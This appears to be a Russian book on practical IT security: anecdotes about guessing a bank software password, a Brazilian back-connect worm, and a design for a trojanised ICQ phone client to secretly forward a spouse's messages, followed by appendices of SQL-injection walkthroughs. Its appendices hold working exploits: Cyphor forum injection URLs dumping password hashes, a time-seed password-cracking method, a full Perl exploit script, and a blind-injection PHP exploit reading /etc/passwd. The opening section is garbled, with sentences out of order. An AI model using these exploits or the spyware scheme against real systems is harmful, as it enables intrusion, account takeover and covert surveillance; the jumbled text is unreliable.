запустил программу на компиляцию. 132 . а в программе. так что компиляция заняла бы пару-тройку часов. Оставалось найти и подправить то место. как пользователя с правами системного администратора. Я попробовал пару UNISYS–UNISYS. По объектному коду не все машины «Юнисис» серии «А» совместимы. Известно. совпадающий с именем пользователя. потом проводилась так называемая генерация — автоматическое создание текста на древнем языке КОБОЛ. Сначала я нашел и просмотрел файл со списком пользователей программы «Лайна». Первой идеей было изменить саму программу. поскольку. были доступны уже сгенерированные тексты на языке КОБОЛ. другой — со «скромным» именем UNISYS. чем мое «исправление» программы. требовалась авторизация. В ожидании результата я решил не сидеть сложа руки. плюс средства работы с базой данных — все образца середины 1970-х. основатель и глава фирмы ABF. Зато для меня. введя абсолютно любое имя пользователя и любой пароль. смысла. скопировали их на нашу машину и запустили генерацию и последующую компиляцию… В саму среду разработки LINC II мне войти не удалось. Писать свой переборщик паролей на основании вызова этой библиотеки не было желания и. одностороннего хеширования) был мне неизвестен. можно было без проблем попасть в программу.132 13. нельзя ли найти пароль быстрее. и я решил попробовать просто угадать пароль. для вычисления хэша пароля вызывалась внешняя библиотека. Спросить пароль было не у кого (тогда сотовых телефонов у простых людей еще не было). Как специалист по мэйнфреймам «Юнисис». как я посмотрел. а ждать до понедельника не хотелось.

На это у мужа хватило бы сообразительности. я все-таки решил продумать возможные пути решения этой задачи с точки зрения хакера. Сразу после этого я прервал процесс компиляции — нечего зря загружать машину. а в прошлом специалист по защите информации и программист с большим стажем. в результате начальник IT-департамента доложил высшему руководству банка. Было также известно. И вот знакомый одного моего знакомого обратился ко мне с конкретным вопросом: нельзя ли узнать. что надо просчитывать и использовать разные пути достижения своей цели. программа jimm написана на языке Java и поставляется бесплатно. только в субботу утром. не частный детектив. была установлена программа jimm. как и у меня. я попробовал UNISYS– UNIMAS (как говорится. Естественно. место действия — некий областной центр. мы говорим «Юнисис». наши программисты и банковские специалисты пришли к выводу. Предупредив моего заказчика о потенциальной незаконности его действий по контролю чужой переписки и вежливо отказавшись ему помогать. Однако пора переходить ко второму примеру. Даже если разработчики предприняли меры по защите исходного кода (применили так 133 . Вопервых. Не долго думая. конечно.ICQ и работа для частного детектива 133 но результат был отрицательный. что мужья. имею почти законченное юридическое образование в качестве второго высшего. Но основная проблема заключалась в том. подразумеваем — «Юнимас») и — о. а может быть. О чем говорит этот пример? На мой взгляд. А что мы решили по поводу программы «Лайна»? Протестировав ее за выходные без посторонних глаз. если бы не стал вечером дожидаться результатов компиляции. что покупать программу сейчас нецелесообразно. чтобы увидеть переписку. ICQ и работа для частного детектива Время действия — 2007 год. в особенности мужу. о том. Так что мой «высоконравственный» хакинг в итоге позволил банку сэкономить крупную сумму. что программа еще «сырая». что в качестве клиента аськи у нее в телефоне. Я. Кроме того. а телефон свой она в руки обычно никому не давала. можно было бы внедрить туда обычный кейлоггер или троян. с кем и о чем его жена ведет беседы по аське? Если бы аська располагалась на домашнем компьютере. все чаще обращаются за помощью к частным детективам. Известно. радость победы! — я оказался внутри программы «Лайна». без знания некоторой внутренней информации (о тесных взаимоотношениях фирм «Юнисис» и «Юнимас») и без определенной доли везения я оказался бы внутри программы «Лайна» на пару часов позже. что аська находилась у нее в сотовом телефоне. недостаточно продуманная и неудобная. подозревающие в измене своих жен (а жены — мужей). мыслить шире и быть при этом достаточно настойчивым. ведь цель уже достигнута.

менее изящный подход. Это минус. Короткие же сообщения можно получать и в режиме оффлайн. я категорически не советую вам использовать все эти придумки на практике. Можно. можно пойти на гораздо более трудный в реализации вариант: отсылать записанные сообщения почтой на свой электронный адрес. по возможности. а как оптимум — немного изменить что-то в дизайне. муж всегда будет в курсе переписки своей жены. ни на сервере ICQ. Хотя здесь есть небольшая юридическая 134 . Но у этой идеи есть несколько существенных недостатков: во-первых. в-третьих. попробуем модифицировать эту идею. Это большой плюс. еще больше «заморочиться» и отправлять слишком длинные сообщения по частям. Итак. Познакомиться в Интернете с жертвой. ибо они являются нарушением тайны переписки. Реальные задачи IT-безопасности называемую обфускацию). для просмотра файла с перепиской необходим повторный (а возможно. позволит ли операционная система телефона удалить файл. «Создание. А что делать с последующими двумя ограничениями? Ответ прост: использовать возможности самого ICQ-клиента. внимание!) для «заметания следов» в программу можно попытаться включить функцию самоуничтожения по команде с того же указанного номера ICQ (или. просто поменять отображаемый номер версии программы на больший. как вариант. Не отказываясь от первоначального замысла. Его достоинства и недостатки предлагаю вам обдумать самостоятельно. войти к ней в доверие и предложить установить обновленную версию jimm с новыми «фишками» — воображаемыми или. Также (параноики. использование и распространение вредоносных программ для ЭВМ». очень затруднен. по умолчанию jimm не сохраняет переписку ни в телефоне. По первому пункту напрашивается простое решение — использовать методы социальной инженерии. Это более трудоемкий и. — изменить исходный код jimm. когда жертва в онлайне. а также подпадают под статью 273 УК РФ. с любого номера). и лишнее место в памяти ее телефона заниматься не будет. Разумеется. подправить и потом снова собрать из них jar-файл. То есть не сохранять переписку в файле. чтобы сохранять переписку в файле. по крайней мере. на мой взгляд. реально добавленными. как известно. Во-вторых. А если нас почему-то не устроит вариант с «прослушкой» ICQ. лучше. считаем. Маленький нюанс — для получения длинных сообщений нужно. чтобы. и неоднократный) доступ к телефону. а скрытно отсылать ее на заранее прописанный в клиенте номер аськи. как минимум. из которого запущена работающая программа. Хотя не знаю.134 13. конечно. которая пришла мне в голову. Можно. программу на Java довольно легко превратить обратно в исходный код. память в телефоне может закончиться. чтобы компьютер с «прослушивающей» аськой был включен постоянно. что ограничение на первоначальный физический доступ к телефону мы обошли. Первая идея. Таким образом. устранить недостатки. который. во-вторых. Здесь нужно экспериментировать. для установки измененного клиента нужно получить физический доступ к телефону жертвы.

Эти файлы он нашел на сервере в некоем подозрительном каталоге. говорит данный пример? О том. Один из скриптов занимался тем. что «убил» на сервере некий посторонний процесс. оперативной и постоянной памятью. что сотовый телефон принадлежит к классу ЭВМ. О чем. который. разрешен доступ на запись. Самый большой скрипт был. куда. что там. созданным бразильскими хакерами. эти файлы больше не представляли опасности. Также он сказал. но при этом не нарушать закон. Именно эту программу-шелл первым делом и «прибил» системный администратор. по сути. В начале скрипта 135 . он показал мне на своем рабочем компьютере каталог с несколькими подозрительными файлами. это был 2005 год. на мой взгляд. Он их скопировал на дискету. Известна поговорка. обычно фильтрующий только входящие соединения. где есть два юриста. Теперь третий пример. а духа закона — эта манипуляция с ICQ-клиентом есть явно противоправное деяние. на который осуществлялся бэк-коннект. или «привет из Бразилии» Этот пример особенно никого ничему не учит. Изучение файлов. Именно поэтому я даже не стал экспериментировать на своем телефоне и воплощать эту идею в жизнь. чью сторону примет суд. он содержит миниатюрную ЭВМ специального назначения со своим процессором. который связывался с каким-то внешним IP-адресом. Кажется. показало. снабженную собственной операционной системой. Но не стоит проверять на себе. по сути. или «привет из Бразилии» 135 закавыка — обвинение должно доказать. как обычно. лежавших в подозрительном каталоге. содержащий прочие сценарии. работающем под управлением Linux. С шеллом было все понятно: он используется для соединения с компьютером хакера. в свою очередь. что разархивировал файл. что это были скрипты и программа-шелл для бэк-коннекта на языке Perl. существует как минимум три мнения ☺. а не ЭВМ! Но все-таки с точки зрения не буквы. позволяющей выполнять программыприложения. почистил каталог /tmp и перенес файлы на свою рабочую станцию. что надо мыслить изобретательно.Работа для антихакера. Работа для антихакера. находился в каталоге /tmp. А поскольку на рабочей станции была установлена система Windows. на собственном опыте столкнувшегося с деятельностью бразильских хакеров. Они не побоялись оставить в комментариях свои ники и адрес своего сайта. Хотя. интернет-червем. чтение и исполнение всем пользователям. чтобы преодолеть брандмауэр. Мне позвонил знакомый системный администратор и сказал. Когда я приехал к нему на работу. а именно — следы постороннего присутствия на сервере. что обнаружил у себя на работе нечто заслуживающее моего внимания. он просто приведен здесь как личное наблюдение из жизни автора. формально с точки зрения русского языка является мобильным телефоном.

бесплатный движок был тут же удален. Дальнейшее изучение показало.6. и веб-сервером. нашли через Google (по запросу «linux kernel 2. Сейчас такие решения непопулярны из-за их потенциальной небезопасности.x. их можно было встретить довольно часто. Как же проник червь на компьютер фирмы.x (не помню точно последнюю цифру). Разархивировавшись. Дополнительно администратор поменял пароли пользователя root и других пользователей сервера. имена переменных в программе тоже были в основном не английские. один из модулей которого и содержал баг. Надо сказать. родственные португальскому. что несколько лет назад этот поисковик с его развитой системой запросов был очень сильным инструментом в руках хакеров. поскольку в некоторой степени владею итальянским и немного испанским. на котором располагалась страничка фирмы. что сама страничка фирмы проста и не содержит никаких уязвимостей. Сейчас администрация Google много сделала. а португальские. Конечно. червь копировал себя в каталог /tmp сервера. файлов с установленным битом suid). но раньше. узнав название и версию веб-движка напрямую из хакерского запроса к Google в зловредном скрипте. После чего сделал резервную копию и стал готовиться обновить версию ядра Linux до новейшей 2. видимая из внешнего Интернета. и в журнале «Хакер» его даже назвали самой лучшей хакерской программой. но я ему немножко помог. в которой работал мой знакомый? Небольшое расследование показало. на котором хостился сайт. в середине 90-х. Это было вызвано тем. local root exploit») прекрасно работающий в этой версии ядра открытый эксплойт для локального получения прав root. он запускал бэк-коннект шелл. позволявший удаленно выполнять команды на уязвимой системе. что мы. Итак. что таких серверов в Интернете большинство. Я уловил общий смысл послания и других комментариев. позволяющий найти уязвимые сайты. этот механизм работал только на Linux и прочих Unix-подобных системах. И дальше процесс поиска уязвимых сайтов повторялся вновь. что этот сервер служил одновременно и шлюзом в Интернет для всей локальной сети. провел поиск подозрительных файлов (в частности. Реальные задачи IT-безопасности было какое-то послание другим хакерам на португальском языке.136 13. так как текущая версия была 2. но в одном из каталогов сайта системный администратор установил «на пробу» широко распространенный бесплатный движок для веб-сайта. чтобы своевременно обнаруживать и пресекать такие запросы. Изучение логов веб-сервера только подтвердило наши предположения. 136 . хакеры собирали солидный «улов» покоренных машин. который «стучался» на сервер хозяев-хакеров. Естественно. но. учитывая.4. открывая им доступ к чужому компьютеру. позволяющим с помощью запросов легко находить уязвимые веб-сайты.4. червь делал запрос к Google. Найдя следующий уязвимый сайт. как только выяснились обстоятельства проникновения хакеров. по моей инициативе. а для новейшей версии ядра такого эксплойта еще не было. Об этом мог догадаться и сам системный администратор. а это языки.

Впрочем. а разослал администраторам всех найденных им уязвимых веб-серверов предупреждение. созданных мною в качестве программиста за многие годы. а плохой и почту-то читать не станет ☺. описал их работу более подробно. уцелело. или «привет из Бразилии» 137 Я сейчас с удовольствием пересмотрел бы эти хакерские скрипты и. Не знаю. К счастью. может быть. у меня не сохранились из-за краха одного из разделов на моем жестком диске несколько лет назад. потому что располагались они в другом разделе жесткого диска и на архивных носителях. Так что обязательно регулярно выполняйте резервное копирование ценных для вас данных. изменилась ли ситуация сейчас. поскольку в то время в Бразилии не существовало наказания за компьютерные преступления. что их компьютер подвержен захвату хакерами. чтобы он не распространялся. хороший администратор всегда сам вовремя обнаружит вторжение. достойная настоящего антихакера — можно было тогда модифицировать этот червь так.Работа для антихакера. к сожалению. Когда я писал эти строки. Тогда я потерял часть довольно важной информации. очень хороший предотвратит его заранее. у меня возникла «безумная» идея. 137 . абсолютное большинство программ. но они. Что же касается сообщества бразильских хакеров. то тогда они были очень сильны и весьма распоясались.

uname –a Информация о машине и операционной системе. 138 . id Идентификатор и имя текущего пользователя. но в другом формате. w То же. uptime Время непрерывной работы системы (без перезагрузки).U 1 Основные *nix-команды ls <dir> Список всех файлов в каталоге. whoami «Кто я?» — имя текущего пользователя. cd <dir> Переход в указанный каталог. <command> -help Краткая справка о команде. Список всех файлов в каталоге. man <command> Справочное руководство по *nix-командам. users Список работающих в данный момент пользователей. who То же. dir Аналогично. pwd Имя текущего каталога. но в другом формате. netstat Сетевые соединения. cat <file> Просмотр содержимого указанного файла.

chmod xxx <file> Изменение прав доступа к файлу или каталогу. vim <file> То же. mkdir <dir> Создание каталога. last Информация о последних входах в систему. vi <file> Редактирование файла в редакторе vi. cc <file> -o <outfile> Компиляция программы на языке C. rm <file> Удаление файла.Основные *nix-команды ps Список процессов текущего пользователя ps –Al Список всех процессов. 139 139 . curl –o <outfile> <url> То же. kill <PID> Завершение процесса под номером <PID>. cp <file> <newlocation> Копирование файла. gcc <file> -o <outfile> Компиляция программы на языке C с помощью компилятора GNU. mv <file> <newlocation> Перемещение или переименование файла. wget –O <outfile> <url> Загрузка файла из Интернета на локальный компьютер. last <login> Информация о последних входах пользователя. finger <login> Информация о пользователе. rmdir <dir> Удаление каталога.

php форума Cyphor В этом приложении мы рассмотрим две SQL-инъекции в модуле show.4. Сначала нужно добавить хотя бы один форум.10 from cyphor_users where id=1 Здесь из таблицы cyphor_users извлекаются параметры id.2. щелкнув один раз на кнопке Create Forum. поставив в начале строки с функцией include("check. у которого id=1 (администратор).3.3): http://localhost/webexploitation_package_02/cyphor/show.U 2 SQL-инъекции в модуле show. потом заработал.password. потому что по непонятной причине модуль show. Так что я привожу данный материал скорее для ознакомления.5. Рис. 140 .php Теперь перейдите в браузере по адресу http://localhost/webexploitation_package_02/cyphor/admin/forum-create. Применим SQL-инъекцию параметра id.2.1.id.nick.8. nick и password пользователя. П2. Указанные уязвимости вынесены мною в приложение. опять перестал работать. П2. Чтобы сделать это без регистрации в системе. Благодаря этому проверка регистрации пользователя в системе будет отключена.php так. как показано на рис. Изменение файла cyphor/admin/forum-create.php у меня сначала не работал. отредактируем файл cyphor/admin/forum-create.1. Этот модуль показывает содержимое постов на форуме и доступен без входа в Cyphor. П2. а потом.php Создайте новый форум. Строка запроса выглядит следующим образом (рис.php") символ комментария — #.php?fid=1&id=-10 union select 1. после закрытия окна браузера и его повторного открытия. как показано на рис.php. П2. Не забудьте сохранить измененный файл.

П2. Создание нового форума в Cyphor Рис. П2.3.2.SQL-инъекции в модуле show.php форума Cyphor Рис. SQL-инъекция в параметре id в модуле show.php форума Cyphor 141 141 .

То есть вместо четвертого параметра 142 . работая над текстом книги (две предыдущие инъекции были описаны на хакерских сайтах и сайтах.3.group_concat(table_name).4). что здесь нужно использовать имя реальной таблицы.tables.10 from information_schema.9. и таблицу с ним мы назвали msg_test. П2.php. Эту уязвимость я нашел. Ошибка SQL — обращение к несуществующей таблице cyphor_4 Как видите.php) показало. параметр fid должен принимать несуществующее значение (например.6. а параметр id — отсутствовать. В нашем случае мы можем узнать имена всех таблиц с помощью следующего запроса: union select 1.4. Когда я подбирал количество колонок.8. Рис.4 from cyphor_users Однако этот запрос показал другую ошибку (рис.php форума Cyphor Еще один немаловажный вопрос: как хакеры определяют имена таблиц и колонок? В MySQL есть база information_schema с таблицами tables и columns.4. fid=–1). четвертый параметр подставляется в запрос в качестве имени таблицы: сценарий делает запрос к несуществующей таблице cyphor_4. П2. чтобы инъекция была успешной. Как я выяснил экспериментально. SQL-инъекции в модуле show. содержащей форум.2. «Вскрытие» (то есть изучение исходного текста модуля show. запрос с четырьмя параметрами наконец-то не выдал сообщения о несовпадении количества столбцов: fid=-1 union select 1. У нас создан только один форум.142 Приложение 2.2.3. посвященных вопросам безопасности).5. Рассмотрим еще одну интересную SQL-инъекцию в параметре fid того же модуля show.

'msg_test' from cyphor_users Результат показан на рис.5.0x3a. реально использовать обнаруженную уязвимость гораздо труднее. 143 . Успешная эксплуатация SQL-инъекции в параметре fid модуля show.php форума Cyphor 143 следует подставить конструкцию 'msg_test' (в одинарных кавычках. содержащей форум. а не имя столбца). concat(nick.SQL-инъекции в модуле show.password). поскольку вначале нужно узнать имя таблицы. Оставалось только вставить вместо второго параметра что-то полезное. Но зато мы нашли интересный пример обхода ограничений.5.3. П2. В результате вместо ошибки я увидел страничку форума. П2. Рис.php Конечно. например вызов функции concat: http://localhost/webexploitation_package_02/cyphor/show.php?fid=-1 union select 1. потому что это — текстовая константа.

php). П3. получаемое функцией time().1. займет более 1000 дней (программа перебора написана на PHP и исполняется в моей системе под виртуальной машиной). Но самое интересное в том. что полный перебор всех паролей длиной до 8 символов. состоящий из букв.U 3 Взлом паролей пользователей форума Cyphor Пароль пользователя форума Cyphor шифруется функцией crypt с использованием имени пользователя (логина). что время регистрации сохраняется в таблице cyphor_users вместе с другой информацией о пользователе (поле называется signup_date). что в Unix-подобных ОС текущее время представляется как количество секунд. П3. чтобы упростить задачу? Оказывается.php). То есть мы можем SQL-запросом «вытащить» это время. Извлекаем из базы имя пользователя. Проведенные мною исследования показали. Эта функция случайным образом генерирует читабельный 8-символьный пароль.1. можно. после чего этот пароль высылается пользователю. хэш пароля и время создания (в секундах) 144 . вызывается функция random_password (она описана в модуле globals. Рис. Но нельзя ли что-то сделать. цифр и одного спецсимвола. преобразованного к нижнему регистру. В модуле форума. прошедших с 1 января 1970 года. Для инициализации генератора случайных чисел используется текущее системное время. состоящих только из строчных букв и цифр. отвечающем за регистрацию пользователей (register. Замечу мимоходом. как показано на рис.

Результат работы программы показан на рис.php нужно указать в ее тексте время создания пользователя. Изучение модуля register. но возможно). Программа crack-pass. В реальной жизни администратор сразу же меняет пароль. в которой функция генерации пароля будет использовать не текущее время.2. Рис. предлагаемого по умолчанию (я назвал ее crack-pass.php Для работы программы crack-pass. txt. Теперь рассмотрим механизм получения доступа к сайту в качестве администратора (или любого другого существующего пользователя). которое мы ей укажем (взятое из signup_date).php). П3.Взлом паролей пользователей форума Cyphor 145 Теперь нам остается написать небольшую программу на языке PHP. а то.2. приведен на рис. ник и хэш пароля. прилагаемом к движку). Но мы можем принудительно создать ему новый случайный пароль 145 . Полный текст программы восстановления пароля. поскольку сначала время записывается в signup_date. Паролем администратора по умолчанию является слово cyphor (это указано в файле README. П3. а потом снова берется системное время в функции random_password. Это требуется.php показывает. То есть секунда может успеть смениться следующей (что крайне маловероятно. П3. что на всякий случай надо проверить еще момент времени signup_date + 1 (то есть плюс одна секунда).3.

146 Приложение 3.4 (я назвал ее brute-pass.php 146 . Взлом паролей пользователей форума Cyphor Рис. П3. что в сгенерированном пароле определенные символы (согласные и гласные буквы. Создав таким способом пользователю новый пароль. П3. Результат работы программы crack-pass.php посредством функции восстановления пароля. как показано на рис. пишем программу перебора.4. Учитывая. указанный при регистрации. спецсимволы) находятся на строго определенных местах.php). Программа brute-pass. цифры. мы можем легко найти его путем перебора. Для этого нужно только знать его ящик. Это не проблема — ящик хранится в поле email и легко извлекается через SQL-инъекцию. Рис. П3.3.

147 . что вам больше по душе. Текст его статьи и ссылка на видеоролик приведены. использовать мой упрощенный метод или узнавать точное время на сервере из заголовка HTTP-ответа. Как справедливо заметил The matrix. когда было запрошена процедура восстановления пароля. На самом деле можно просто брать в программе текущее время и уменьшать его. П3. Результат работы программы brute-pass. но значительно более сложную для эксплуатации уязвимость паролей в instantCMS.5. Результат работы программы показан на рис. в приложении 8. Я смоделировал разницу во времени между моим компьютером и сервером в 5 часов. П3.php Другой (намного более быстрый) вариант связан с перебором времени создания нового пароля. максимум через три четверти часа мы гарантированно можем войти на форум в качестве администратора. где крутится форум. если время на сервере меньше вашего текущего. ознакомившись с данным приложением: «Запрос на веб-сервер в ответе в заголовке выкинет тебе точное время на сервере с точностью до секунды». в результате подбор занял всего 2 секунды. или увеличивать.Взлом паролей пользователей форума Cyphor 147 Полный процесс перебора занимает не более 45 минут на моей системе. У меня пароль пользователя alice нашелся всего за 118 секунд. Так что можете сами выбрать. Таким образом. с его любезного разрешения. если время на сервере больше. Вы засекаете время.5. и перебираете некоторый временной диапазон (чтобы учесть неточности установки времени на вашей машине и на целевом сервере). Рис. делаете поправку на местное время на том сайте. Он в свое время исследовал схожую.

Это полезная для хакера информация. Затем через форму восстановления пароля эксплойт будет устанавливать новый пароль. но там будут дата и время на сервере. полученному в ответе от сервера. меняют ему идентификатор группы на «3» (администратор).148 Приложение 3. Взлом паролей пользователей форума Cyphor Можно не перехватывать снифером ответ сервера.1 80 Далее нужно набрать GET / HTTP/1. П3. П3. извлекать хэш и восстанавливать его по времени создания. на языке PHP можно написать полностью автоматизированный эксплойт. никому не следует пытаться проверять это на чужих сайтах! Автор не несет ответственности за ваши противозаконные действия. а после смены пароля администратора посредством процедуры восстановления пароля зайти по протоколу Telnet (порт 80) на уязвимый хост.0. Они регистрируют на форуме своего пользователя. который будет извлекать ник. Заметьте.1 и два раза нажать клавишу Enter. Если есть силы и желание. а также версию PHP. почтовый ящик и хэш старого пароля администратора (в реальной жизни он еще вполне может пригодиться. в этом случае высока вероятность того. Веб-сервер вернет сообщение об ошибке. Получение времени из ответа веб-сервера Остается только с помощью маленькой программки преобразовать время и дату в секунды. Это обеспечивает мгновенное получение прав администратора. пока не будет получен положительный результат. что пользователь с таким логином есть в системе. в нашем случае вот так: telnet 127. 148 . После этого в программе подбора пароля нужно просто уменьшать эту дату и каждый раз проверять пароль. что веб-сервер вернул еще свое название и версию. а какое-то другое. используя оператор UPDATE. как показано на рис. как я уже отмечал ранее.php. ломать этот хэш следует программой John The Ripper). Программу подбора можно написать самостоятельно на базе файла crack-pass. Но хакеры нашли способ еще хитрее.0. Рис. Разумеется.6. а потом через SQL-инъекцию. так как способен подойти к учетной записи *nix-пользователя.6. особенно если имя администратора не стандартное — «admin».

сложить с текущим временем и использовать результат для инициализации генератора случайных чисел. (форум Cyphor рассчитан только на *nix-системы). уникальное для данной системы. п. 149 . ps и т. можно вычислять md5-хэш от результата вызова таких системных команд. затем часть хэша преобразовать в целое число. чтобы их нельзя было так легко восстановить по времени создания? Нужно добавить ко времени создания некоторое число. id. Например. pwd. Хотя возможность брутфорса по-прежнему остается. who. как uname -a. Тогда злоумышленник не сможет так легко воспроизвести процесс создания пароля на своей машине.Взлом паролей пользователей форума Cyphor 149 Как можно улучшить программу генерации случайных паролей.

в редакторе это должна быть одна длинная строка.php?fid=2&id =-10%20union%20select%20id. #!/bin/env perl #//-----------------------------------------------------------# #// Cyphor Forum SQL Injection Exploit .id.nick.cynox. присваиваемой переменной $url. print "\n#####################################################\n".2. print "\n# Cyphor Forum Exploit By : HACKERS PAL #". что строка $url в книге перенесена. Полный текст готового эксплойта приведен ниже.5.8. 150 .NeT #//-----------------------------------------------------------# use LWP::Simple.html. по адресу http://www. $id=$ARGV[1]. например.perl $0 http://www. в файле cyphor019. if(!$ARGV[0]||!$ARGV[1]) { print "\n# -. Чтобы эксплойт работал на вашей машине.securiteam.NeT #". print "\n# -.3.Usage: #". print "\n# Http://WwW. print "\n# Greets To Devil-00 — Abducter — almastar #".Example: #".U 4 Использование готового эксплойта для SQLинъекции в форуме Cyphor Текст эксплойта можно найти в Интернете. надо заменить слово users словом cyphor_users. $web=$ARGV[0]. в строке. print "\n#####################################################\n". Скопируйте текст эксплойта с веб-страницы в редактор и сохраните.pl.password.SoQoR. print "\n# -.SoQoR.4. print "\n# -. например.ch/cyphor/forum/ 1#".com/unixfocus/6P00F1FEKC.. Заметьте.perl $0 [Full-Path] 1 #". 10%20from%20cyphor_users%20where%20id=$id". $url = "show. By HACKERS PAL #// Greets For Devil-00 — Abducter — Almaster #// http://WwW. exit(0). print "\n#####################################################". } else { print "\n# Greets To Devil-00 — Abducter — almastar #".

. print "[-] Unable to retrieve hash of password\n" if(!$1). #finished Немного поясню работу эксплойта.NeT . П4. You Are Welcome\n\n". $page =~ m/<span class=bigh>(. затем в этой странице между тегами <span class=bigh> и </span> находит (и печатает на экране) имя пользователя.1. а второй — номер пользователя (администратор имеет номер 1). $page = get($site) || die "[-] Unable to retrieve: $!". print "\n[+] Connected to: $ARGV[0]\n".Использование готового эксплойта для SQL-инъекции в форуме Cyphor 151 $site="$web/$url". print "[+] User ID is : $id ".*?)<\/span>/ && print "\n[+] User Name is: $1\n". Вначале он связывается с сайтом и получает от него html-страницу. print "\n[-] Unable to retrieve User Name\n" if(!$1). первый параметр — это полный путь к форуму. Результат работы эксплойта показан на рис. Запускается эксплойт из консоли командой perl cyphor019. .*?)<\/span>/ && print "[+] Hash of password is: $1\n". Рис. Работа эксплойта для SQL-инъекции в форуме Cyphor При наличии некоторых навыков программирования вы легко сможете писать на базе данной программы собственные эксплойты для SQL-инъекций в этом или других движках. } print "\n\nGreets From HACKERS PAL To you :) \nWwW.pl http://localhost/webexploitation_package_02/cyphor/ 1 Как видите. $page =~ m/<span class=message>(. а между тегами <span class=message> и </span> — хэш пароля. 151 .1.SoQoR. П4.

так и строк.uk inurl:. опубликованной на одном из зарубежных хакерских сайтов. line 23 Такое сообщение об ошибке означает.site. 2.asp?id=563' Теперь мы видим ошибку наподобие следующей: Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC Microsoft Access Driver] Syntax error in string in query expression 'id=563' . При получении сообщения об ошибке «type mismatch Cint» можно сделать вывод о том.com/en/pressread. Предположим.com/en/pressread.site.asp?id=563 Мы видим нормально отображающуюся страничку. Теперь мы используем добавку AND+1=0#: http://www.site.site. Если продолжить.asp?id= site:. что входной параметр проверяется на тип данных.asp?id=563+AND+1=1# ПРИМЕЧАНИЕ В языке ASP для комментирования остального запроса применяется символ #. то можно найти другой сайт.com/en/pressread. вот так: http://www.site.com и в ходе его исследования наткнулись на следующее: http://www.co. а не символы -. Поиск в Google: site:.asp?id=563+AND+1=0# 152 .U 5 Реализация SQL-инъекций в MS SQL Jet Содержание этого приложения основано на статье.'.com/en/pressread.org inurl:.aspx?= site:.com inurl:. 1. /en/includes/configdb. мы нашли адрес http://www. Добавляю к URL символ одинарной кавычки. что у нас есть большие шансы на инъекцию.asp?cid= Также вы можете придумать что-то свое. так что пробуем добавить к адресу AND+1=1: http://www.или /*. воспринимающий ввод как числовых переменных.asp.

6.7# После подбора нужного числа появляется другое сообщение об ошибке: Microsoft OLE DB Provider for ODBC Drivers error '80004005' [Microsoft][ODBC Microsoft Access Driver] Query input must contain at least one table or query.com/en/pressread. line 23 Это сообщение говорит о том.site.com/en/pressread.asp. а для этого мы применяем команду ORDER BY несколько раз.asp. line 44 То есть сейчас нам нужно найти количество колонок. То есть требуется угадать имя таблицы: http://www. Начать можно.3. что колонки с номером 10 не существует. /en/includes/configdb.2. Make sure it exists and that its name is spelled correctly.4. будем получать вот такое сообщение об ошибке: Microsoft OLE DB Provider for ODBC Drivers error '80040e37' [Microsoft][ODBC Microsoft Access Driver] The Microsoft Jet database engine cannot find the input table or query 'user'.7 FROM user# Пока мы не укажем правильное имя таблицы. цифру 4 из нашего запроса: http://www.6. news. customers. например. что в ответ на следующий запрос тоже появится сообщение об ошибке.5. Далее нужно уменьшать число. /en/pressread. скорее всего.asp?id=563+AND+1=0+UNION+ALL+SELECT+ 1.site. но в одном из полей на странице вы увидите. line 23 Запрос не выполняется. users. к примеру.2. после этого появится вот такая ошибка: Microsoft OLE DB Provider for ODBC Drivers error '80004005' [Microsoft][ODBC Microsoft Access Driver] The Microsoft Jet database engine does not recognize '10' as a valid field name or expression. Requested operation requires a current record.6.asp?id=563+AND+1=0+UNION+ALL+SELECT+ 1.7+from+admin# В этот момент надо переходить к подбору имен колонок. В нашем примере это число равно 7: http://www.5. Предположим. /en/includes/configdb.com/en/pressread. 153 .site. потому что нужно указать имя существующей таблицы. sysobjects. с числа 10.4.asp?id=563+AND+1=0+UNION+ALL+SELECT+ 1. Предположим. line 23 Вот возможные имена таблиц.asp. /en/includes/configdb. пока не удастся получить правильное значение. в нашем примере таблица называется admin.4.5. одно из которых.asp. admin. Это означает.3.2. or the current record has been deleted.Field error '800a0bcd' Either BOF or EOF is True.Реализация SQL-инъекций в MS SQL Jet 153 В результате мы получаем незавершенную страницу или вот такую ошибку: ADODB. должно подойти: user. login.3.

HAVING.имя-колонки-из-сообщения-об-ошибке1...имя-колонки-из-сообщения-об-ошибке1. Найти имена колонок можно.имя-колонки-из-сообщения-об-ошибке1 HAVING 1=1 -GROUP BY имя-таблицы. Реализация SQL-инъекций в MS SQL Jet 3.и т.имя-колонки-из-сообщения-об-ошибке2 HAVING 1=1 -GROUP BY имя-таблицы.имя-колонки-из-сообщения-об-ошибке2.154 Приложение 5. используя в конце своего запроса оператор GROUP BY . д. 154 . имя-таблицы. например: HAVING 1=1 -GROUP BY имя-таблицы. имя-колонки-из-сообщения-об-ошибке (n) HAVING 1=1 -. имя-таблицы.

=chr($x). echo " -.php?surv=". ini_set("max_execution_time".$x=0.". $cnx = fsockopen($srv.$op. echo "Nabopoll SQL Injection -. while(!strstr($user. $j = 1.".1. echo "--------------------------------------------------\n\n". таким образом число угадывается за несколько сравнений. $port = 80.").$port). echo "==================================================\n". применив метод двоичного поиска. while(!$found) { $x = intval(($maxx + $minx)/2). 2010 — modified by Uri error_reporting(0)."/**/AND/**/1=( SELECT/**/(IF((ASCII(SUBSTRING(load_file( 0x2f6574632f706173737764)../etc/passwd: \n".com/nabopoll/ # coded by s0cratex # Contact: s0cratex@hotmail. продолжение  155 .break. $maxx = 255.$user.break. echo chr($x). $found=true.nabocorp.$user. $path = "/webexploitation_package_02/nabopoll".com # July 1. $found = false.=chr($x).} if (($op == "<=") and ($bingo)) { $x=$maxx. Я не считаю свой вариант идеальным. $user = "". $srv = "localhost".0)))/*". $xpl = "/result.$x. но он работает..echo chr($x).1))".php Как я уже отмечал в главе 06. $survey = "1". $op = ">". //you can verify the number entering in the site and viewing the results.$j. Интервал поиска каждый раз делится пополам.0). $found=true. мне удалось существенно ускорить работу эксплойта. if ($maxx == $minx+1) { if ($op == ">") { $x=$maxx.chr(0))){ $minx = 0.Modified Exploit\n".$survey.U 6 Усовершенствованный текст эксплойта nabopoll. Вот текст программы: <? # Nabopoll Blind SQL Injection P0C Exploit # Download: www.} } $bingo = false.

156

Приложение 6. Усовершенствованный текст эксплойта nabopoll.php

fwrite($cnx,"GET ".$path.$xpl." HTTP/1.0\r\n\r\n");
while(!feof($cnx)){ if(ereg("power",fgets($cnx))){
$bingo=true;break; } }
fclose($cnx);
if ($x==255) {die("\n Try again...");}
$prevop=$op;
if ($bingo) {
switch($op)
{
case ">":
$minx = $x;
break;
case "<=":
$maxx = $x;
break;
}
}
else
{
switch($op)
{
case ">":
$op = "<=";
break;
case "<=":
